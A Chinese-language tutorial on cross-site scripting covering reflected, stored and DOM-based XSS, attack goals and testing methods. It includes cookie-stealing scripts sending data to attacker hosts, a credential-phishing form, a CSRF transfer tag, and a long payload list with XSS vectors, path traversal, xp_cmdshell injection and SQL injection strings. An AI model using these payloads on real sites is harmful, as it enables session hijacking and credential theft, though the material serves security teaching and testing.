XSS跨站總結

原文地址:http://www.2cto.com/article/201501/372352.html

簡介:

跨網站腳本(Cross-site scripting,通常簡稱爲XSS或跨站腳本或跨站腳本攻擊)是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它允許惡意用戶將代碼注入到網頁上,其他用戶在觀看網頁時就會受到影響。這類攻擊通常包含了HTML以及用戶端腳本語言。

XSS攻擊通常指的是通過利用網頁開發時留下的漏洞,通過巧妙的方法注入惡意指令代碼到網頁,使用戶加載並執行攻擊者惡意製造的網頁程序。這些惡意網頁程序通常是JavaScript,但實際上也可以包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻擊成功後,攻擊者可能得到更高的權限(如執行一些操作)、私密網頁內容、會話和cookie等各種內容。

原因:

有的服務器並沒有對用戶的輸入進行安全方面的驗證,攻擊者就可以很容易地通過正常的輸入手段,夾帶進一些惡意的HTML腳本代碼。當受害者的瀏覽器訪問目標服務器上被注入惡意腳本的頁面後,由於它對目標服務器的信任,這段惡意腳本的執行不會受到什麼阻礙。而此時,XSS攻擊就完成了。

種類:

反射型XSS

反射型XSS,又稱非持久型XSS。(一般需要自行去觸發,輸入—輸出)

反射:這種攻擊方式的注入代碼是從目標服務器通過錯誤信息、搜索結果等等方式“反射”回來的。

非持久性:這種攻擊方式往往具有一次性。

方式:

攻擊者通過電子郵件等方式將包含注入腳本的惡意鏈接發送給受害者,當受害者點擊該鏈接時,注入腳本被傳輸到目標服務器上,然後服務器將注入腳本“反射”到受害者的瀏覽器上,從而在該瀏覽器上執行了這段腳本。

Eg:

攻擊者將如下鏈接發送給受害者:

代碼:

http://www.XXXX.com/search.asp?input=<script>alert(document.cookie);</script>

當受害者點擊這個鏈接的時候,注入的腳本被當作搜索的關鍵詞發送到目標服務器的search.asp頁面中,則在搜索結果的返回頁面中,這段腳本將被當作搜索的關鍵詞而嵌入。這樣,當用戶得到搜索結果頁面後,這段腳本也得到了執行。這就是反射型XSS攻擊的原理,可以看到,攻擊者巧妙地通過反射型XSS的攻擊方式,達到了在受害者的瀏覽器上執行腳本的目的。由於代碼注入的是一個動態產生的頁面而不是永久的頁面,因此這種攻擊方式只在點擊鏈接的時候才產生作用,這也是它被稱爲非持久型XSS的原因。

存儲型XSS

存儲型XSS,又稱持久型XSS。(一般無意觸發,輸入–進入數據庫*–取出數據庫–輸出)

持久性:攻擊腳本將被永久地存放在目標服務器的數據庫和文件中。

方式:

這種攻擊多見於論壇或博客,攻擊者在發帖的過程中,將惡意腳本連同正常信息一起注入到帖子的內容之中。隨着帖子被服務器存儲下來,惡意腳本也永久地被存放在服務器的後端存儲器中。當其它用戶瀏覽這個被注入了惡意腳本的帖子的時候,惡意腳本則會在他們的瀏覽器中得到執行,從而受到了攻擊。

Eg:

惡意攻擊者可以通過發一篇包含了惡意代碼的帖子。

(帖子中包含了惡意代碼,<script>window.open(“www.b.com?param=+document.cookie)</script>

這時甲和乙看到了惡意攻擊者的帖子,當在查看帖子時就都中招了,他們的cookie信息都發送到了惡意攻擊者的服務器上,攻擊成功!

可以看到,存儲型XSS的攻擊方式能夠將惡意代碼永久地嵌入一個頁面當中,所有訪問這個頁面的用戶都將成爲受害者。如果我們能夠謹慎對待不明鏈接,那麼反射型的XSS攻擊將沒有多大作爲,而存儲型XSS則不同,由於它注入的往往是一些我們所信任的頁面,因此無論我們多麼小心,都難免會受到攻擊。

DOM-XSS

DOM—based XSS漏洞是基於文檔對象模型Document Object Model,DOM)的一種漏洞,它涉及的兩個層次不是服務器端和瀏覽器端,而是瀏覽器端的JavaScript層和HTML層。更準確的說,就是服務器腳本變成了客戶端腳本。

方式:

用戶請求一個經過專門設計的URL,它由攻擊者提交,且其中包含嵌入式JavaScript。服務器的響應中並不以任何形式包含攻擊者的腳本。當用戶的瀏覽器處理這個響應時,上述腳本得以處理。

Eg:

http://www.xxx.site/welcome.html?name=zhangsan

使用以下的腳本打印出登錄用戶zhangsan的名字,即

代碼:

<SCRIPT>
var pos=docmnent.URL.indexOf(“name=”)+5;
document.write (document.URL.substring(pos,document.URL.length));
</SCRIPT>

如果這個腳本用於請求http://www.xxx.site/welcome.html?name=<script>alert(“XSS”)</script>時,就導致XSS攻擊的發生。

當用戶點擊這個鏈接,服務器返回包含上面腳本的HTML靜態文本,用戶瀏覽器把HTML文本解析成DOM,DOM中的document對象URL屬性的值就是當前頁而的URL。在腳本被解析時,這個URL屬性值的一部分被寫入HTML文本,而這部分HTML文本卻是JavaScript腳本,這使得<script>alert(“XSS”)</script>成爲頁面最終顯示的HTML文本,從而導致DOM—base XSS攻擊發生。

常用的攻擊手段和目的

竊取Cookie

盜用 cookie (主要),獲取敏感信息,比如盜取各類用戶賬號、控制企業數據、盜竊企業重要的具有商業價值的資料、非法轉賬等等。

代碼:

<script>location.href = 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>

其中location.href是指頁面跳轉到

代碼:

http://www.VulnerableSite.com/index.php?search=<script>location.href = 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>

或者

代碼:

"><a href="#" onclick="document.location='http://yoursite.com/whateveryouwant.php?cookie=' +escape(document.cookie);"><Click Me></a></script>

document.location和location.href基本一樣

通過XSS攻擊,由於注入代碼是在受害者的瀏覽器上執行,因此能夠很方便地竊取到受害者的Cookie信息。比如,我們只要注入類似如下的代碼:

代碼:

<script>location.replace(“http://www.attackpage.com/record.asp?secret=“+document.cookie)</script>

當受害者的瀏覽器執行這段腳本的時候,就會自動訪問攻擊者建立的網站http://www.attackpage.com,打開其中的recou…ookie信息。

得到受害者的Cookie信息後,攻擊者可以很方便地冒充受害者,從而擁有其在目標服務器上的所有權限,相當於受害者的身份認證被竊取了。這樣,攻擊者可以任意地利用受害者的身份訪問服務器上的資源和服務,甚至對受害者和服務器上的數據進行破壞。如果受害者擁有管理員權限,攻擊者還可以利用其提升自己賬號的權限,從而進行進一步的攻擊。

注:Cookie,有時也用其複數形式Cookies,指某些網站爲了辨別用戶身份、進行session跟蹤而儲存在用戶本地終端上的數據(通常經過加密)

document.location.href和document.location.replace都可以實現從A頁面切換到B頁面,但他們的區別是:

用document.location.href切換後,可以退回到原頁面。而用document.location.replace切換後,不可以通過“後退”退回到原頁面。

關於document.location.href或其他可回退的切換方式
document.location 相當於 document.URL 聲明瞭裝載文檔的URL,
除非發生了服務器重定向, 否則該屬性的值與Window.location.href的值是一樣的.

釣魚

所謂釣魚攻擊就是構建一個釣魚頁面,誘騙受害者在其中輸入一些敏感信息,然後將其發送給攻擊者。利用XSS的注入腳本,我們也可以很方便地注入釣魚頁面的代碼,從而引導釣魚攻擊。比如下面這樣一段代碼:

代碼:

<script>
function hack() {
  location.replace(“http://www.attackpage.com/record.asp?username=“
+document.forms[0].user.value + “password=” + document.forms[0].pass.value);
}
</script>
<form>
  <br><br><HR><H3>這個功能需要登錄:</H3 >
  <br><br>請輸入用戶名:<br>
  <input type=”text” id=”user”name=”user”>
  <br>請輸入密碼:<br>
  <input type=”password” name =“pass”>
  <br><input type=”submit”name=”login” value=”登錄” onclick=”hack()”>
</form><br><br><HR>

注入上面的代碼後,則會在原來的頁面上,插入一段表單,要求用戶輸入自己的用戶名和密碼,而當用戶點擊“登錄”按鈕後,則會執行hack()函數,將用戶的輸入發送到攻擊者指定的網站上去。這樣,攻擊者就成功竊取了該用戶的賬號信息。可以看到,和一般的釣魚攻擊不同,XSS引導的釣魚攻擊由於是對用戶信任的網站頁面進行修改,因此隱蔽性很高,而用戶的賬號失竊往往會帶來重大的損失,因此它的危害也是十分巨大的。

跨站請求僞造

跨站請求僞造(Cross-SiteRequest Forgery,CSRF),作爲OWASP組織的2007年提出十大安全漏洞第五,它也屬於XSS攻擊的一種衍生。所謂跨站請求僞造,就是攻擊者利用XSS注入攻擊的方式,注入一段腳本,而當受害者的瀏覽器運行這段腳本時,腳本僞造受害者發送了一個合法請求。比如我們注入如下的HTML代碼:

代碼:

<img src = “http://www.bank.com/transfer.do?toAct=123456&money=10000>

假如上面的代碼中所訪問的是某個銀行網站的轉賬服務,則當受害者的瀏覽器運行這段腳本時,就會向攻擊者指定的賬戶(示例的123456)執行轉賬操作。由於這個轉賬請求是在受害者的瀏覽器中運行的,因此瀏覽器也會自動將受害者的Cookie信息一併發送。這樣,發送的請求就好像是受害者自己發送的一樣,銀行網站也將認可這個請求的合法性,攻擊者也就達到了僞造請求的目的。

注入惡意軟件

除了直接注入惡意腳本以外,通過XSS攻擊,攻擊者也可以很方便地在腳本中引入一些惡意軟件,比如病毒、木馬、蠕蟲等等。例如,攻擊者可以在某個自己建立的頁面上放置一些惡意軟件,然後用XSS注入的方式,插入一段引用該頁面的腳本。這樣當受害者的瀏覽器執行這段腳本的時候,就會自動訪問放置了惡意軟件的頁面,從而受到這些惡意軟件的感染。

利用XSS注入惡意軟件的方式,攻擊者可以很方便地在互聯網上傳播病毒、木馬和蠕蟲,通過這種途徑,攻擊者就可以通過這些病毒、木馬和蠕蟲,進一步地對受害者的主機發動攻擊。目前,互聯網上的“掛馬”現象非常普遍,而XSS注入的出現也無疑給“掛馬”的攻擊者指明瞭又一個新的方向。通過傳播這些木馬,竊取合法用戶的敏感信息,不少非法攻擊者也逐漸將這一過程產業化,經常可以見到以信封方式批量兜售賬號密碼的現象。這也給許多正常的網絡用戶造成了許多無法挽回的巨大損失,造成的危害也很大。

挖掘方式:

  1. 對於反射型XSS以及一些DOM XSS,一般建議是開發一些自動化的掃描工具進行掃描,並輔以手工分析。 另外一方面,搜索引擎也是快速尋找具有缺陷參數的好辦法。 具體可見:白帽子信息_心傷的瘦子

  2. 對於存儲型XSS,

    • 對於單純的輸入->存儲->輸出點 的情況 (輸入與輸出點關係:一個地方輸入,會有多個地方輸出;不同地方輸入,同一地方輸出。)。常規測試是正向直接輸入內容,然後在輸出點查看是否未過濾,當然你也可以先大膽假設輸出點未過濾,反向尋找在何處進行輸入,進而測試。

    • 對於富文本,則需要對過濾器進行fuzz測試(人腦+自動化)了,可參照:fuzzing XSS filter

    • 第三類,就是一些WEB應用中所出現的DOM-存儲型XSS,即輸出點的無害內容,會經過js的一些dom操作變得危險(本質上和 第1點裏的dom xss成因是一樣的)。這一類的挖掘方法,個人覺得不太好總結。 其一,需要熟悉WEB應用的功能,其二,知道功能所對應的JS代碼有哪些,其三,憑直覺猜測程序員會在哪些功能出現可能導致XSS的過濾遺忘或過濾錯誤(直覺是唬人的,其實就是你知道某些功能會需要某些代碼實現,而這些代碼常常容易出錯),其四,需要有較好的代碼閱讀跟蹤能力(JS一大坨。。還是蠻難讀的…. 有些代碼被混淆過,十分不易閱讀,就會涉及到如何下斷點進行調試的小技巧)。 我想,挖掘這一類的前提可能是需要有不錯的前端開發經驗,寫多了,纔會有足夠的嗅覺。

檢測方法

代碼:

"><svg><script xlink:href=//********></script>
<script>alert(document.cookie)</script>
javascript:console.log(0)
<script>console.log(1)</script>
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert('Vulnerable')</script>
a/
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.cnblogs.com/http://ww ... logs.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<IMG src="javascript:alert('XSS');">
<IMG src=javascript:alert('XSS')>
<IMG src=JaVaScRiPt:alert('XSS')>
<IMG src=JaVaScRiPt:alert("XSS")>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
"<IMG src=java\0script:alert(\"XSS\")>";' > out
<IMG src=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND src="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" href="javascript:alert('XSS');">
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:">
<IMG src="livescript:">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE href="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML src="javascript:alert('XSS');">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT src=/uploadfile/2015/0126/20150126034957941.jpg"></SCRIPT>
<IMG src="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章